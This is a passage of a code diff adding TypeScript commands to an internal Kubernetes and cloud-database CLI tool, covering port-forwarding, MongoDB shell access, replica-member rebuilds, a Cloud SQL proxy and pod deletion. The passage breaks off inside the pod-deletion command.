- package/src/apps/cli/commands/project/commandGetShell.ts +0 -36
- package/src/apps/cli/commands/project/commandGitlabCi.ts +0 -115
- package/src/apps/cli/commands/project/commandListPods.ts +0 -20
- package/src/apps/cli/commands/project/commandNamespace.ts +0 -14
- package/src/apps/cli/commands/project/commandOpenEnv.ts +0 -22
- package/src/apps/cli/commands/project/commandOpenGit.ts +0 -12
- package/src/apps/cli/commands/project/commandOpenLogs.ts +0 -21
- package/src/apps/cli/commands/project/commandPauseProject.ts +0 -33
- package/src/apps/cli/commands/project/commandPortForward.ts +0 -91
- package/src/apps/cli/commands/project/commandRenewToken.ts +0 -12
- package/src/apps/cli/commands/project/commandSecretsClearBackups.ts +0 -26
- package/src/apps/cli/commands/project/commandSecurityEvaluate.ts +0 -26
- package/src/apps/cli/commands/project/commandSetup.ts +0 -14
- package/src/apps/cli/commands/project/commandTriggerCronjob.ts +0 -62
- package/src/apps/cli/commands/project/index.ts +0 -56
- package/src/apps/cli/commands/project/utils/showProjectBanner.ts +0 -11
- package/src/apps/cli/commands/theStuffThatReallyMatters/index.ts +0 -32
- package/src/apps/cli/verify/index.ts +0 -14
- package/src/catci.ts +0 -3
- /package/dist/cli/src/{apps/catci/commands/security → security}/auditDocument.d.ts +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/auditDocument.js +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/createSecurityAuditMergeRequest.d.ts +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/createSecurityAuditMergeRequest.js +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/evaluateSecurityAudit.d.ts +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/evaluateSecurityAudit.js +0 -0
- /package/dist/cli/src/{apps/catci/commands/security → security}/topics.json +0 -0
- /package/src/{apps/catci/commands/security → security}/auditDocument.ts +0 -0
- /package/src/{apps/catci/commands/security → security}/createSecurityAuditMergeRequest.ts +0 -0
- /package/src/{apps/catci/commands/security → security}/evaluateSecurityAudit.ts +0 -0
- /package/src/{apps/catci/commands/security → security}/topics.json +0 -0
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { getk8sApi } from "../../k8sApi";
|
|
3
|
+
import { startKubePortForward } from "../../kubernetes/portForward";
|
|
4
|
+
|
|
5
|
+
export const commandKubePortForward = defineCommand({
|
|
6
|
+
name: "kube port-forward",
|
|
7
|
+
description: "start port-forwarding",
|
|
8
|
+
group: "general",
|
|
9
|
+
inputs: {
|
|
10
|
+
namespace: {
|
|
11
|
+
type: "string",
|
|
12
|
+
message: "kubernetes namespace",
|
|
13
|
+
positional: true,
|
|
14
|
+
},
|
|
15
|
+
podName: {
|
|
16
|
+
type: "string",
|
|
17
|
+
message: "Which pod? 🤔",
|
|
18
|
+
choices: async (ctx) => {
|
|
19
|
+
const namespace = await ctx.get("namespace");
|
|
20
|
+
const k8sApi = getk8sApi();
|
|
21
|
+
const res = await k8sApi.listNamespacedPod(namespace);
|
|
22
|
+
return res.body.items.map((i: any) => i.metadata.name);
|
|
23
|
+
},
|
|
24
|
+
},
|
|
25
|
+
localPort: { type: "number", message: "Local port: " },
|
|
26
|
+
remotePort: { type: "number", message: "Remote port: " },
|
|
27
|
+
},
|
|
28
|
+
execute: async (ctx) => {
|
|
29
|
+
const namespace = await ctx.get("namespace");
|
|
30
|
+
const podName = await ctx.get("podName");
|
|
31
|
+
const localPort = await ctx.get("localPort");
|
|
32
|
+
const remotePort = await ctx.get("remotePort");
|
|
33
|
+
return startKubePortForward(podName, localPort, remotePort, namespace);
|
|
34
|
+
},
|
|
35
|
+
});
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { stopPortForward } from "../../utils/portForwards";
|
|
3
|
+
|
|
4
|
+
export const commandKubeStopPortforward = defineCommand({
|
|
5
|
+
name: "kube stop-portforward",
|
|
6
|
+
description: "stop a running port forward",
|
|
7
|
+
group: "general",
|
|
8
|
+
inputs: {
|
|
9
|
+
name: { type: "string", message: "port forward name", positional: true },
|
|
10
|
+
},
|
|
11
|
+
execute: async (ctx) => {
|
|
12
|
+
const name = await ctx.get("name");
|
|
13
|
+
stopPortForward(name.trim());
|
|
14
|
+
},
|
|
15
|
+
});
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
// General commands
|
|
2
|
+
export { commandKubeCurrentContext } from "./general/commandKubeCurrentContext";
|
|
3
|
+
export { commandKubeListNamespaces } from "./general/commandKubeListNamespaces";
|
|
4
|
+
export { commandKubeListSecrets } from "./general/commandKubeListSecrets";
|
|
5
|
+
export { commandKubeListPods } from "./general/commandKubeListPods";
|
|
6
|
+
export { commandKubeStopPortforward } from "./general/commandKubeStopPortforward";
|
|
7
|
+
export { commandKubeGetShell } from "./general/commandKubeGetShell";
|
|
8
|
+
export { commandKubePortForward } from "./general/commandKubePortForward";
|
|
9
|
+
|
|
10
|
+
// Project commands
|
|
11
|
+
export { commandNamespace } from "./project/commandNamespace";
|
|
12
|
+
export { commandEnvVars } from "./project/commandEnvVars";
|
|
13
|
+
export { commandListPods } from "./project/commandListPods";
|
|
14
|
+
export { commandGetShell } from "./project/commandGetShell";
|
|
15
|
+
export { commandPortForward } from "./project/commandPortForward";
|
|
16
|
+
export { commandDeletePods } from "./project/commandDeletePods";
|
|
17
|
+
export { commandPauseProject } from "./project/commandPauseProject";
|
|
18
|
+
export { commandDeleteProject } from "./project/commandDeleteProject";
|
|
19
|
+
export { commandOpenEnv } from "./project/commandOpenEnv";
|
|
20
|
+
export { commandOpenLogs } from "./project/commandOpenLogs";
|
|
21
|
+
export { commandOpenGit } from "./project/commandOpenGit";
|
|
22
|
+
export { commandCloudSqlProxy } from "./project/commandCloudSqlProxy";
|
|
23
|
+
export { commandConfigSecrets } from "./project/commandConfigSecrets";
|
|
24
|
+
export { commandSecretsClearBackups } from "./project/commandSecretsClearBackups";
|
|
25
|
+
export {
|
|
26
|
+
commandTriggerCronjobGeneral,
|
|
27
|
+
commandTriggerCronjobProject,
|
|
28
|
+
} from "./project/commandTriggerCronjob";
|
|
29
|
+
export { commandRenewToken } from "./project/commandRenewToken";
|
|
30
|
+
export { commandGetMyTotalWorktime } from "./project/commandGetMyTotalWorktime";
|
|
31
|
+
export { commandSetup } from "./project/commandSetup";
|
|
32
|
+
export { commandCiJobOpen, commandCiJobLog } from "./project/commandGitlabCi";
|
|
33
|
+
export { commandProjectRestoreDb } from "./project/commandProjectRestoreDb";
|
|
34
|
+
export { commandSecurityEvaluate } from "./project/commandSecurityEvaluate";
|
|
35
|
+
|
|
36
|
+
// MongoDB commands
|
|
37
|
+
export { commandMongoGetShell } from "./mongodb/commandMongoGetShell";
|
|
38
|
+
export { commandMongoPortForward } from "./mongodb/commandMongoPortForward";
|
|
39
|
+
export { commandMongoDestroyMember } from "./mongodb/commandMongoDestroyMember";
|
|
40
|
+
|
|
41
|
+
// CloudSQL commands
|
|
42
|
+
export { commandRestoreDb } from "./cloudSQL/commandRestoreDb";
|
|
43
|
+
|
|
44
|
+
// Security commands
|
|
45
|
+
export { commandSecurityAuditCiJob } from "./security/commandSecurityAuditCiJob";
|
|
46
|
+
export { commandSecurityAuditEvaluate } from "./security/commandSecurityAuditEvaluate";
|
|
47
|
+
export { commandSecurityAuditCreate } from "./security/commandSecurityAuditCreate";
|
|
48
|
+
|
|
49
|
+
// Fun commands
|
|
50
|
+
export { commandDadjoke } from "./fun/commandDadjoke";
|
|
51
|
+
export { commandStarwars } from "./fun/commandStarwars";
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
import { exec } from "child-process-promise";
|
|
2
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
3
|
+
import { getProjectPvcs } from "../../kubernetes";
|
|
4
|
+
import { logError } from "../../utils/log";
|
|
5
|
+
import { getProjectNamespace } from "../../utils/projects";
|
|
6
|
+
import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
|
|
7
|
+
import { getMongoDbPodsWithReplInfo } from "../../apps/cli/commands/mongodb/utils";
|
|
8
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
9
|
+
|
|
10
|
+
const removeFinalizer = async (
|
|
11
|
+
namespace: string,
|
|
12
|
+
type: "pod" | "pv" | "pvc",
|
|
13
|
+
name: string,
|
|
14
|
+
) =>
|
|
15
|
+
exec(
|
|
16
|
+
`kubectl patch --namespace ${namespace} ${type} ${name} -p '{"metadata":{"finalizers":null}}'`,
|
|
17
|
+
);
|
|
18
|
+
|
|
19
|
+
const deleteResource = async (
|
|
20
|
+
namespace: string,
|
|
21
|
+
type: "pod" | "pv" | "pvc",
|
|
22
|
+
name: string,
|
|
23
|
+
) => exec(`kubectl delete --namespace ${namespace} ${type} ${name}`);
|
|
24
|
+
|
|
25
|
+
const removeFinalizerAndDelete = async (
|
|
26
|
+
namespace: string,
|
|
27
|
+
type: "pod" | "pv" | "pvc",
|
|
28
|
+
name: string,
|
|
29
|
+
) => {
|
|
30
|
+
return Promise.all([
|
|
31
|
+
removeFinalizer(namespace, type, name),
|
|
32
|
+
await deleteResource(namespace, type, name),
|
|
33
|
+
]);
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
export const commandMongoDestroyMember = defineCommand({
|
|
37
|
+
name: "project mongo destroy-member",
|
|
38
|
+
description: "DESTROY a member of a replicaset in order to reinitialize it",
|
|
39
|
+
group: "mongodb",
|
|
40
|
+
inputs: {
|
|
41
|
+
envComponent: {
|
|
42
|
+
type: "string",
|
|
43
|
+
message: "environment:component",
|
|
44
|
+
positional: true,
|
|
45
|
+
choices: async () => envAndComponents(),
|
|
46
|
+
},
|
|
47
|
+
podName: {
|
|
48
|
+
type: "string",
|
|
49
|
+
message: "Which pod? 🤔",
|
|
50
|
+
choices: async (ctx) => {
|
|
51
|
+
const envComponent = await ctx.get("envComponent");
|
|
52
|
+
const mongodbPods = await getMongoDbPodsWithReplInfo(envComponent);
|
|
53
|
+
const secondaries = mongodbPods.filter((pod: any) => !pod.isMaster);
|
|
54
|
+
return secondaries.map((p: any) => ({
|
|
55
|
+
name: `[ secondary ] ${p.podName}`,
|
|
56
|
+
value: p.podName,
|
|
57
|
+
}));
|
|
58
|
+
},
|
|
59
|
+
},
|
|
60
|
+
},
|
|
61
|
+
execute: async (ctx) => {
|
|
62
|
+
const envComponent = await ctx.get("envComponent");
|
|
63
|
+
await ensureCluster(ctx, envComponent);
|
|
64
|
+
ctx.log(
|
|
65
|
+
"this command tries to delete a (secondary) member of the replicaset, it's persistent volume claim (pvc) and the volume",
|
|
66
|
+
);
|
|
67
|
+
ctx.log("");
|
|
68
|
+
ctx.log(
|
|
69
|
+
"this is useful, if you update the stateful set with new volume configuration (different size or storage class)",
|
|
70
|
+
);
|
|
71
|
+
ctx.log("");
|
|
72
|
+
ctx.log(
|
|
73
|
+
"Kubernetes will usually recreate the missing member with the updated config and mongodb will start synchronizing the new member.",
|
|
74
|
+
);
|
|
75
|
+
ctx.log("");
|
|
76
|
+
ctx.log(
|
|
77
|
+
"This works without downtime, but should be done when load on the db is low. Also it has not been tested with large dbs (> 10gi)",
|
|
78
|
+
);
|
|
79
|
+
ctx.log("");
|
|
80
|
+
ctx.log(
|
|
81
|
+
"Deleting the volume and claim often stuck, just wait or cancel and restart.",
|
|
82
|
+
);
|
|
83
|
+
ctx.log("");
|
|
84
|
+
|
|
85
|
+
const understood = await ctx.confirm("DO YOU UNDERSTAND?");
|
|
86
|
+
if (!understood) {
|
|
87
|
+
throw new Error("abort");
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
const namespace = await getProjectNamespace(envComponent);
|
|
91
|
+
const pvcs = await getProjectPvcs(envComponent);
|
|
92
|
+
|
|
93
|
+
const podName = await ctx.get("podName");
|
|
94
|
+
|
|
95
|
+
const thePvc = pvcs.find(
|
|
96
|
+
(pvc: any) => pvc.metadata.name === `datadir-${podName}`,
|
|
97
|
+
);
|
|
98
|
+
if (!thePvc) {
|
|
99
|
+
logError(ctx, `sorry, no pvc found for ${podName}`);
|
|
100
|
+
return;
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
const shouldContinue = await ctx.confirm(
|
|
104
|
+
"THIS WILL DESTROY THE POD, ITS VOLUME AND ALL ITS DATA 🙀🙀🙀!!! continue? 🤔",
|
|
105
|
+
);
|
|
106
|
+
if (!shouldContinue) {
|
|
107
|
+
throw new Error("abort");
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
ctx.log("destroying volume...");
|
|
111
|
+
try {
|
|
112
|
+
await removeFinalizerAndDelete(
|
|
113
|
+
namespace,
|
|
114
|
+
"pv",
|
|
115
|
+
(thePvc as any).spec.volumeName,
|
|
116
|
+
);
|
|
117
|
+
} catch (e: any) {
|
|
118
|
+
ctx.log(e.message);
|
|
119
|
+
}
|
|
120
|
+
ctx.log("destroying volume claim...");
|
|
121
|
+
try {
|
|
122
|
+
await removeFinalizerAndDelete(
|
|
123
|
+
namespace,
|
|
124
|
+
"pvc",
|
|
125
|
+
(thePvc as any).metadata.name,
|
|
126
|
+
);
|
|
127
|
+
} catch (e: any) {
|
|
128
|
+
ctx.log(e.message);
|
|
129
|
+
}
|
|
130
|
+
ctx.log("destroying pod...");
|
|
131
|
+
await removeFinalizerAndDelete(namespace, "pod", podName);
|
|
132
|
+
},
|
|
133
|
+
});
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
|
|
3
|
+
import { getProjectNamespace } from "../../utils/projects";
|
|
4
|
+
import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
|
|
5
|
+
import {
|
|
6
|
+
getMongodbShell,
|
|
7
|
+
getProjectMongodbAllPodsSortedWithLabel,
|
|
8
|
+
} from "../../apps/cli/commands/mongodb/utils";
|
|
9
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
10
|
+
|
|
11
|
+
export const commandMongoGetShell = defineCommand({
|
|
12
|
+
name: "project mongo get-shell",
|
|
13
|
+
description: "get a shell to a mongodb in the environment",
|
|
14
|
+
group: "mongodb",
|
|
15
|
+
inputs: {
|
|
16
|
+
envComponent: {
|
|
17
|
+
type: "string",
|
|
18
|
+
message: "environment:component",
|
|
19
|
+
positional: true,
|
|
20
|
+
choices: async () => envAndComponents(),
|
|
21
|
+
},
|
|
22
|
+
podName: {
|
|
23
|
+
type: "string",
|
|
24
|
+
message: "Which pod? 🤔",
|
|
25
|
+
choices: async (ctx) =>
|
|
26
|
+
getProjectMongodbAllPodsSortedWithLabel(await ctx.get("envComponent")),
|
|
27
|
+
},
|
|
28
|
+
},
|
|
29
|
+
execute: async (ctx) => {
|
|
30
|
+
const envComponent = await ctx.get("envComponent");
|
|
31
|
+
await ensureCluster(ctx, envComponent);
|
|
32
|
+
const namespace = await getProjectNamespace(envComponent);
|
|
33
|
+
const podName = await ctx.get("podName");
|
|
34
|
+
return getMongodbShell(namespace, podName);
|
|
35
|
+
},
|
|
36
|
+
});
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { getEnvVarsResolved, parseChoice } from "../../config/getProjectConfig";
|
|
3
|
+
|
|
4
|
+
import { startKubePortForward } from "../../kubernetes/portForward";
|
|
5
|
+
import { getProjectNamespace } from "../../utils/projects";
|
|
6
|
+
import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
|
|
7
|
+
import { getProjectMongodbAllPodsSortedWithLabel } from "../../apps/cli/commands/mongodb/utils";
|
|
8
|
+
import clipboard from "clipboardy";
|
|
9
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
10
|
+
|
|
11
|
+
export const commandMongoPortForward = defineCommand({
|
|
12
|
+
name: "project mongo port-forward",
|
|
13
|
+
description: "port forward to a mongodb",
|
|
14
|
+
group: "mongodb",
|
|
15
|
+
inputs: {
|
|
16
|
+
envComponent: {
|
|
17
|
+
type: "string",
|
|
18
|
+
message: "environment:component",
|
|
19
|
+
positional: true,
|
|
20
|
+
choices: async () => envAndComponents(),
|
|
21
|
+
},
|
|
22
|
+
podName: {
|
|
23
|
+
type: "string",
|
|
24
|
+
message: "Which pod? 🤔",
|
|
25
|
+
choices: async (ctx) =>
|
|
26
|
+
getProjectMongodbAllPodsSortedWithLabel(await ctx.get("envComponent")),
|
|
27
|
+
},
|
|
28
|
+
localPort: {
|
|
29
|
+
type: "number",
|
|
30
|
+
message: "Local port: ",
|
|
31
|
+
default: 30000,
|
|
32
|
+
},
|
|
33
|
+
},
|
|
34
|
+
execute: async (ctx) => {
|
|
35
|
+
const envComponent = await ctx.get("envComponent");
|
|
36
|
+
await ensureCluster(ctx, envComponent);
|
|
37
|
+
const namespace = await getProjectNamespace(envComponent);
|
|
38
|
+
const podName = await ctx.get("podName");
|
|
39
|
+
|
|
40
|
+
const localPort = await ctx.get("localPort");
|
|
41
|
+
const { env, componentName } = parseChoice(envComponent);
|
|
42
|
+
const envVars = await getEnvVarsResolved(ctx, env, componentName);
|
|
43
|
+
const MONGODB_ROOT_PASSWORD = envVars?.MONGODB_ROOT_PASSWORD;
|
|
44
|
+
const connectionUrl = `mongodb://root:${MONGODB_ROOT_PASSWORD}@localhost:${localPort}`;
|
|
45
|
+
clipboard.writeSync(connectionUrl);
|
|
46
|
+
ctx.log("");
|
|
47
|
+
ctx.log("username: root");
|
|
48
|
+
ctx.log(`password: ${MONGODB_ROOT_PASSWORD}`);
|
|
49
|
+
ctx.log(`connection string: ${connectionUrl}`);
|
|
50
|
+
ctx.log("");
|
|
51
|
+
ctx.log("👆 connection string has been copied to your clipboard!");
|
|
52
|
+
ctx.log("");
|
|
53
|
+
|
|
54
|
+
return startKubePortForward(podName, localPort, 27017, namespace);
|
|
55
|
+
},
|
|
56
|
+
});
|
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
import type { ComponentContext } from "@catladder/pipeline";
|
|
2
|
+
import {
|
|
3
|
+
createKubernetesCloudsqlBaseValues,
|
|
4
|
+
getDeployConfigType,
|
|
5
|
+
isOfDeployType,
|
|
6
|
+
} from "@catladder/pipeline";
|
|
7
|
+
import clipboard from "clipboardy";
|
|
8
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
9
|
+
import {
|
|
10
|
+
getEnvVarsResolved,
|
|
11
|
+
getPipelineContextByChoice,
|
|
12
|
+
parseChoice,
|
|
13
|
+
} from "../../config/getProjectConfig";
|
|
14
|
+
import {
|
|
15
|
+
ERROR_NOT_INSTALLED,
|
|
16
|
+
startCloudSqlProxyInCurrentShell,
|
|
17
|
+
} from "../../gcloud/cloudSql/startProxy";
|
|
18
|
+
import { logError, logLines, logWarning } from "../../utils/log";
|
|
19
|
+
import type { IO } from "../../core/types";
|
|
20
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
21
|
+
|
|
22
|
+
type ProxyInfo = {
|
|
23
|
+
instanceName: string;
|
|
24
|
+
DB_NAME: string;
|
|
25
|
+
DB_PASSWORD: string;
|
|
26
|
+
DB_USER: string;
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const getProxyInfoForKubernetes = async (
|
|
30
|
+
io: IO,
|
|
31
|
+
context: ComponentContext,
|
|
32
|
+
): Promise<ProxyInfo> => {
|
|
33
|
+
if (!isOfDeployType(context.deploy?.config, "kubernetes")) {
|
|
34
|
+
throw new Error("unsupported");
|
|
35
|
+
}
|
|
36
|
+
const envVars = await getEnvVarsResolved(io, context.env, context.name);
|
|
37
|
+
const cloudSqlValues = createKubernetesCloudsqlBaseValues(context);
|
|
38
|
+
const DB_PASSWORD = (
|
|
39
|
+
envVars?.DB_PASSWORD || envVars?.POSTGRESQL_PASSWORD
|
|
40
|
+
)?.toString();
|
|
41
|
+
const DB_NAME = cloudSqlValues.cloudsql.fullDbName.toString();
|
|
42
|
+
const instanceName = cloudSqlValues.cloudsql.instanceConnectionName;
|
|
43
|
+
return { instanceName, DB_PASSWORD, DB_NAME, DB_USER: "postgres" };
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
const getProxyInfoForCloudRun = async (
|
|
47
|
+
io: IO,
|
|
48
|
+
context: ComponentContext,
|
|
49
|
+
): Promise<ProxyInfo> => {
|
|
50
|
+
if (
|
|
51
|
+
!isOfDeployType(context.deploy?.config, "google-cloudrun") ||
|
|
52
|
+
!context.deploy?.config.cloudSql
|
|
53
|
+
) {
|
|
54
|
+
const deployType = getDeployConfigType(context.deploy?.config);
|
|
55
|
+
const errorMessage =
|
|
56
|
+
deployType === "google-cloudrun"
|
|
57
|
+
? `DeployConfig is missing the cloudSql property`
|
|
58
|
+
: `Unsupported DeployConfig type: ${deployType}`;
|
|
59
|
+
logError(io, errorMessage);
|
|
60
|
+
throw new Error(errorMessage);
|
|
61
|
+
}
|
|
62
|
+
const envVars = await getEnvVarsResolved(io, context.env, context.name);
|
|
63
|
+
return {
|
|
64
|
+
instanceName: context.deploy?.config.cloudSql.instanceConnectionName,
|
|
65
|
+
DB_PASSWORD: envVars?.DB_PASSWORD?.toString(),
|
|
66
|
+
DB_NAME: context.environment.envVars.DB_NAME.toString(),
|
|
67
|
+
DB_USER: envVars?.DB_USER?.toString(),
|
|
68
|
+
};
|
|
69
|
+
};
|
|
70
|
+
|
|
71
|
+
const getProxyInfo = async (io: IO, context: ComponentContext) => {
|
|
72
|
+
if (isOfDeployType(context.deploy?.config, "kubernetes")) {
|
|
73
|
+
return getProxyInfoForKubernetes(io, context);
|
|
74
|
+
} else if (isOfDeployType(context.deploy?.config, "google-cloudrun")) {
|
|
75
|
+
return getProxyInfoForCloudRun(io, context);
|
|
76
|
+
}
|
|
77
|
+
throw new Error(`unsupported environment: ${context.deploy?.config?.type}`);
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
const getDbUrl = (
|
|
81
|
+
{ DB_PASSWORD, DB_NAME, DB_USER }: ProxyInfo,
|
|
82
|
+
localPort: string,
|
|
83
|
+
additional: string = "",
|
|
84
|
+
) =>
|
|
85
|
+
`DATABASE_URL="postgresql://${DB_USER}:${DB_PASSWORD}@localhost:${localPort}/${DB_NAME}${additional}"`;
|
|
86
|
+
|
|
87
|
+
const getJdbcUrl = (
|
|
88
|
+
{ DB_PASSWORD, DB_NAME, DB_USER }: ProxyInfo,
|
|
89
|
+
localPort: string,
|
|
90
|
+
) =>
|
|
91
|
+
`DATABASE_JDBC_URL="jdbc:postgresql://localhost:${localPort}/${DB_NAME}?schema=public&user=${DB_USER}&password=${DB_PASSWORD}"`;
|
|
92
|
+
|
|
93
|
+
export const commandCloudSqlProxy = defineCommand({
|
|
94
|
+
name: "project cloudsql proxy",
|
|
95
|
+
description: "proxy to cloud sql db",
|
|
96
|
+
group: "project",
|
|
97
|
+
inputs: {
|
|
98
|
+
envComponent: {
|
|
99
|
+
type: "string",
|
|
100
|
+
message: "environment:component",
|
|
101
|
+
positional: true,
|
|
102
|
+
choices: async () => envAndComponents(),
|
|
103
|
+
},
|
|
104
|
+
localPort: {
|
|
105
|
+
type: "number",
|
|
106
|
+
message: "Local port: ",
|
|
107
|
+
default: 54320,
|
|
108
|
+
},
|
|
109
|
+
},
|
|
110
|
+
execute: async (ctx) => {
|
|
111
|
+
const envComponent = await ctx.get("envComponent");
|
|
112
|
+
const { env, componentName } = parseChoice(envComponent);
|
|
113
|
+
if (!componentName) {
|
|
114
|
+
logWarning(ctx, "need componentName");
|
|
115
|
+
return;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
const context = await getPipelineContextByChoice(env, componentName);
|
|
119
|
+
|
|
120
|
+
if (env === "review") {
|
|
121
|
+
logWarning(
|
|
122
|
+
ctx,
|
|
123
|
+
"connection string does not include mr information on review environments",
|
|
124
|
+
);
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
const localPort = await ctx.get("localPort");
|
|
128
|
+
|
|
129
|
+
const proxyInfo = await getProxyInfo(ctx, context);
|
|
130
|
+
|
|
131
|
+
const psqlEnvVars = {
|
|
132
|
+
PGPASSWORD: proxyInfo.DB_PASSWORD,
|
|
133
|
+
PGUSER: proxyInfo.DB_USER,
|
|
134
|
+
PGDATABASE: proxyInfo.DB_NAME,
|
|
135
|
+
PGHOST: "localhost",
|
|
136
|
+
PGPORT: localPort,
|
|
137
|
+
};
|
|
138
|
+
const lipbqEnvVarDeclarations = Object.entries(psqlEnvVars).map(
|
|
139
|
+
([key, value]) => `${key}="${value}"`,
|
|
140
|
+
);
|
|
141
|
+
const dbUrl = getDbUrl(proxyInfo, String(localPort));
|
|
142
|
+
const jdbcUrl = getJdbcUrl(proxyInfo, String(localPort));
|
|
143
|
+
|
|
144
|
+
clipboard.writeSync(
|
|
145
|
+
[
|
|
146
|
+
"",
|
|
147
|
+
"## CloudSQL proxy connection .env variables",
|
|
148
|
+
dbUrl,
|
|
149
|
+
jdbcUrl,
|
|
150
|
+
"## DATABASE_URL with schema=public parameter (e. g. Prisma requires this):",
|
|
151
|
+
`# ${getDbUrl(proxyInfo, String(localPort), `?schema=public`)}`,
|
|
152
|
+
"## Env variables for libpq (e.g. psql client https://www.postgresql.org/docs/current/libpq-envars.html#LIBPQ-ENVARS)",
|
|
153
|
+
...lipbqEnvVarDeclarations,
|
|
154
|
+
"",
|
|
155
|
+
].join("\n"),
|
|
156
|
+
);
|
|
157
|
+
|
|
158
|
+
logLines(
|
|
159
|
+
ctx,
|
|
160
|
+
null,
|
|
161
|
+
"Connection strings env variables DATABASE_URL and those for the 'psql' client (copied to your clipboard for .env file):",
|
|
162
|
+
dbUrl,
|
|
163
|
+
jdbcUrl,
|
|
164
|
+
...lipbqEnvVarDeclarations,
|
|
165
|
+
null,
|
|
166
|
+
"DATABASE_URL with schema=public parameter (e. g. Prisma requires this):",
|
|
167
|
+
getDbUrl(proxyInfo, String(localPort), `?schema=public`),
|
|
168
|
+
null,
|
|
169
|
+
);
|
|
170
|
+
|
|
171
|
+
try {
|
|
172
|
+
await startCloudSqlProxyInCurrentShell({
|
|
173
|
+
instanceName: proxyInfo.instanceName,
|
|
174
|
+
localPort,
|
|
175
|
+
});
|
|
176
|
+
} catch (error) {
|
|
177
|
+
if (!(error instanceof Error)) throw error;
|
|
178
|
+
if (error.message !== ERROR_NOT_INSTALLED) throw error;
|
|
179
|
+
logError(
|
|
180
|
+
ctx,
|
|
181
|
+
error.message,
|
|
182
|
+
null,
|
|
183
|
+
"Please install the Cloud SQL Auth Proxy from:",
|
|
184
|
+
`https://cloud.google.com/sql/docs/postgres/connect-auth-proxy#install`,
|
|
185
|
+
null,
|
|
186
|
+
);
|
|
187
|
+
}
|
|
188
|
+
},
|
|
189
|
+
});
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { projectConfigSecrets } from "../../apps/cli/commands/project/commandConfigSecrets";
|
|
3
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
4
|
+
|
|
5
|
+
// This command delegates to the existing implementation which uses
|
|
6
|
+
// editAsFile (opens editor) and has retry loops with confirm prompts.
|
|
7
|
+
// Full migration to CommandIO would require reworking the editor flow,
|
|
8
|
+
// so for now we bridge it.
|
|
9
|
+
export const commandConfigSecrets = defineCommand({
|
|
10
|
+
name: "project config-secrets",
|
|
11
|
+
description: "setup/update secrets stored in pass",
|
|
12
|
+
group: "project",
|
|
13
|
+
inputs: {
|
|
14
|
+
envComponent: {
|
|
15
|
+
type: "string",
|
|
16
|
+
message: "environment:component",
|
|
17
|
+
positional: true,
|
|
18
|
+
required: false,
|
|
19
|
+
choices: async () => envAndComponents(),
|
|
20
|
+
},
|
|
21
|
+
},
|
|
22
|
+
execute: async (ctx) => {
|
|
23
|
+
const envComponent = await ctx.get("envComponent");
|
|
24
|
+
// Bridge: the existing implementation accepts CommandInstance-like
|
|
25
|
+
// objects for logging and prompting. Since it uses this.prompt()
|
|
26
|
+
// internally (not ctx.prompt), we pass ctx which satisfies the
|
|
27
|
+
// IO interface for logging. The interactive prompts inside
|
|
28
|
+
// projectConfigSecrets will need a deeper migration later.
|
|
29
|
+
await projectConfigSecrets(ctx, envComponent);
|
|
30
|
+
},
|
|
31
|
+
});
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { getk8sApi } from "../../k8sApi";
|
|
3
|
+
import { getProjectPodNames } from "../../kubernetes";
|
|
4
|
+
import { logError } from "../../utils/log";
|
|
5
|
+
import { getProjectNamespace } from "../../utils/projects";
|
|
6
|
+
import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
|
|
7
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
8
|
+
|
|
9
|
+
export const commandDeletePods = defineCommand({
|
|
10
|
+
name: "project delete-pods",
|
|
11
|
+
description: "delete / restart pods",
|
|
12
|
+
group: "project",
|
|
13
|
+
|
|
14
|
+
inputs: {
|
|
15
|
+
envComponent: {
|
|
16
|
+
type: "string",
|
|
17
|
+
message: "environment:component",
|
|
18
|
+
positional: true,
|
|
19
|
+
choices: async () => envAndComponents(),
|
|
20
|
+
},
|
|
21
|
+
selectedPodNames: {
|
|
22
|
+
type: "string[]",
|
|
23
|
+
message: "Which pods to delete / restart ? 🤔 ",
|
|
24
|
+
choices: async (ctx) => getProjectPodNames(await ctx.get("envComponent")),
|
|
25
|
+
},
|
|
26
|
+
},
|
|
27
|
+
|
|
28
|
+
execute: async (ctx) => {
|
|
29
|
+
